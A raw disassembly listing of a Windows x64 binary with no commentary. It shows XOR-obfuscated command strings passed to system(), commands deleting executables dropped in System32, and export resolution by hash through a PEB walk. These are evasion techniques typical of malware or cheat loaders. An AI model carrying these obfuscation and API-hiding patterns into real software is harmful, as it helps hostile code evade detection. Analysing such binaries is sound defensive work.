lea r9, [r9 + 1]
cmp r8d, 0xa0
jl 0x140008f00
mov edi, Ordinal_32
lea rcx, [rbp + 0xc0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.JNZNI]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140083e98]
movups xmmword [rsp + 0x70], xmm1
movsd xmm0, qword [0x140083ea8]
movsd qword [rbp - 0x80], xmm0
cmp r13d, 2
jl 0x1400090b4
movdqa xmm5, xmmword [0x14008c670]
xor edx, edx
movdqa xmm4, xmmword [0x14008c6c0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
movd xmm8, edi
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x64]
mov r8d, dword [rsp + 0x50]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140008fb0
jmp 0x1400090f0
lea r9, [rsp + 0x60]
xor r8d, r8d
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x1400090c0
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_cleaner_2.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140082b64]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1400061fa
lea rcx, [0x140082b64]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._______________________________________________
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x600], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x608], rax
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0x80]
call fcn.14000c850
or r14d, 0x80000000
mov dword [rsp + 0x40], r14d
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
btr r14d, 0x1f
mov dword [rsp + 0x40], r14d
lea rcx, [rbp + 0x80]
call fcn.14000b560
lea rdx, str._______________________________________________________________________________________________________________________________n______________.________________________n____________________________________n______________________________n______________Y_______________n_______________________________n_____________________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
mov rcx, rax
mov dl, 0xa
call fcn.14000bd50
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._n_n_n___
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x610], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x618], rax
lea rdx, [rbp + 0x610]
lea rcx, [rbp + 0x620]
call fcn.14000c850
mov esi, dword [rsp + 0x44]
or esi, 1
mov dword [rsp + 0x44], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x620]
mov rcx, rdi
call fcn.14000c0e0
and esi, 0xfffffffe
mov dword [rsp + 0x44], esi
lea rcx, [rbp + 0x620]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x140082248]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140083384]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x630], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x638], rax
lea rdx, [rbp + 0x630]
lea rcx, [rbp + 0x640]
call fcn.14000c850
or esi, 2
mov dword [rsp + 0x44], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x640]
mov rcx, rdi
call fcn.14000c0e0
and esi, 0xfffffffd
mov dword [rsp + 0x44], esi
lea rcx, [rbp + 0x640]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082564]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x650], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x658], rax
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x660]
call fcn.14000c850
or esi, 4
mov dword [rsp + 0x44], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x660]
mov rcx, rdi
call fcn.14000c0e0
and esi, 0xfffffffb
mov dword [rsp + 0x44], esi
lea rcx, [rbp + 0x660]
call fcn.14000b560
movups xmm0, xmmword [str.vJRTPX__a_10_3_i_t____q]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140083dd8]
movups xmmword [rsp + 0x70], xmm1
mov eax, dword [0x140083de8]
mov dword [rbp - 0x80], eax
movzx eax, word [0x140083dec]
mov word [rbp - 0x7c], ax
movzx eax, byte [0x140083dee]
mov byte [rbp - 0x7a], al
xor r8d, r8d
lea r15d, [r8 + 4]
cmp r13d, 2
jl 0x14000959b
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x64]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140009490
cmp r8d, 0x27
jge 0x1400095e0
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x1400095b0
lea rdx, [rsp + 0x60]
lea rcx, [rbp]
call fcn.1400030b0
nop
xor ebx, ebx
mov rsi, qword [rbp + 0x18]
mov rdi, qword [rbp]
mov r14, qword [rbp + 0x10]
test r14, r14
je 0x14000963f
nop word [rax + rax]
lea rax, [rbp]
cmp rsi, 0x10
cmovae rax, rdi
movzx edx, byte [rax + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bd50
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r14
jne 0x140009610
cmp rsi, 0x10
jb 0x14000967e
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140009676
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b539
mov rcx, rdi
call fcn.14006ed14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000971a
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000971a
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x3cbc36fe
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140009715
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400096f0
cmp r8d, 0xe668ca1
je 0x140009722
test r9d, r9d
jne 0x1400096c0
mov rax, qword [rax]
jmp 0x140009690
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x9c4
call rax
movups xmm0, xmmword [0x140083860]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [0x140083870]
movups xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [0x140083880]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [0x140083890]
movups xmmword [rbp + 0xf0], xmm1
movups xmm0, xmmword [0x1400838a0]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [0x1400838b0]
movups xmmword [rbp + 0x110], xmm1
movups xmm0, xmmword [0x1400838c0]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [0x1400838d0]
movups xmmword [rbp + 0x130], xmm1
movups xmm0, xmmword [0x1400838e0]
movups xmmword [rbp + 0x140], xmm0
mov eax, dword [0x1400838f0]
mov dword [rbp + 0x150], eax
movzx eax, word [0x1400838f4]
mov word [rbp + 0x154], ax
xor r8d, r8d
lea edi, [r8 + 0x1f]
cmp r13d, 2
jl 0x140009941
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
movd xmm8, edi
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xc4]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140009830
cmp r8d, 0x96
jge 0x140009983
movsxd rax, r8d
lea r9, [rbp + 0xc0]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x140009950
lea rcx, [rbp + 0xc0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140083830]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140083840]
movups xmmword [rsp + 0x70], xmm1
movzx eax, word [0x140083850]
mov word [rbp - 0x80], ax
movzx eax, byte [0x140083852]
mov byte [rbp - 0x7e], al
xor r8d, r8d
cmp r13d, 2
jl 0x140009b1b
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
movd xmm8, edi
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x64]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140009a10
cmp r8d, 0x23
jge 0x140009b60
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140009b30
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_UD_2.exe
jmp 0x140009102
lea rcx, [0x140082b64]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._______________________________________________
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x670], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x678], rax
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x60]
call fcn.14000c850
bts r14d, 0x1b
mov dword [rsp + 0x40], r14d
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
btr r14d, 0x1b
mov dword [rsp + 0x40], r14d
lea rcx, [rbp + 0x60]
call fcn.14000b560
lea rdx, str._______________________________________________________________________________________________________________________________n______________.________________________n____________________________________n______________________________n______________Y_______________n_______________________________n___________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
mov rcx, rax
mov dl, 0xa
call fcn.14000bd50
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._n_n_n___
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x680], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x688], rax
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x690]
call fcn.14000c850
bts r14d, 0x1c
mov dword [rsp + 0x40], r14d
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x690]
mov rcx, rdi
call fcn.14000c0e0
btr r14d, 0x1c
mov dword [rsp + 0x40], r14d
lea rcx, [rbp + 0x690]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x140082248]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140083384]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x6a0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x6a8], rax
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp + 0x730]
call fcn.14000c850
bts r14d, 0x1d
mov dword [rsp + 0x40], r14d
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x730]
mov rcx, rdi
call fcn.14000c0e0
btr r14d, 0x1d
mov dword [rsp + 0x40], r14d
lea rcx, [rbp + 0x730]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082564]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x6c0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x6c8], rax
lea rdx, [rbp + 0x6c0]
lea rcx, [rbp + 0x190]
call fcn.14000c850
bts r14d, 0x1e
mov dword [rsp + 0x40], r14d
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x190]
mov rcx, rdi
call fcn.14000c0e0
btr r14d, 0x1e
mov dword [rsp + 0x40], r14d
lea rcx, [rbp + 0x190]
call fcn.14000b560
movups xmm0, xmmword [0x1400839d0]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x1400839e0]
movups xmmword [rsp + 0x70], xmm1
mov eax, dword [str.83_rs]
mov dword [rbp - 0x80], eax
movzx eax, word [0x1400839f4]
mov word [rbp - 0x7c], ax
xor r8d, r8d
lea r15d, [r8 + 4]
cmp r13d, 2
jl 0x140009feb
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x64]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140009ee0
cmp r8d, 0x26
jge 0x14000a030
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x14000a000
lea rdx, [rsp + 0x60]
lea rcx, [rbp]
call fcn.1400030b0
nop
xor ebx, ebx
mov rsi, qword [rbp + 0x18]
mov rdi, qword [rbp]
mov r14, qword [rbp + 0x10]
test r14, r14
je 0x14000a08f
nop word [rax + rax]
lea rax, [rbp]
cmp rsi, 0x10
cmovae rax, rdi
movzx edx, byte [rbx + rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bd50
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r14
jne 0x14000a060
cmp rsi, 0x10
jb 0x14000a0ce
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000a0c6
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b539
mov rcx, rdi
call fcn.14006ed14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000a16a
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000a16a
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x45aa182
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000a165
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000a140
cmp r8d, 0xed3b86a5
je 0x14000a172
test r9d, r9d
jne 0x14000a110
mov rax, qword [rax]
jmp 0x14000a0e0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x9c4
call rax
lea rcx, [rbp + 0xc0]
lea rax, [0x140000000]
lea rax, [rax + 0x83cb0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
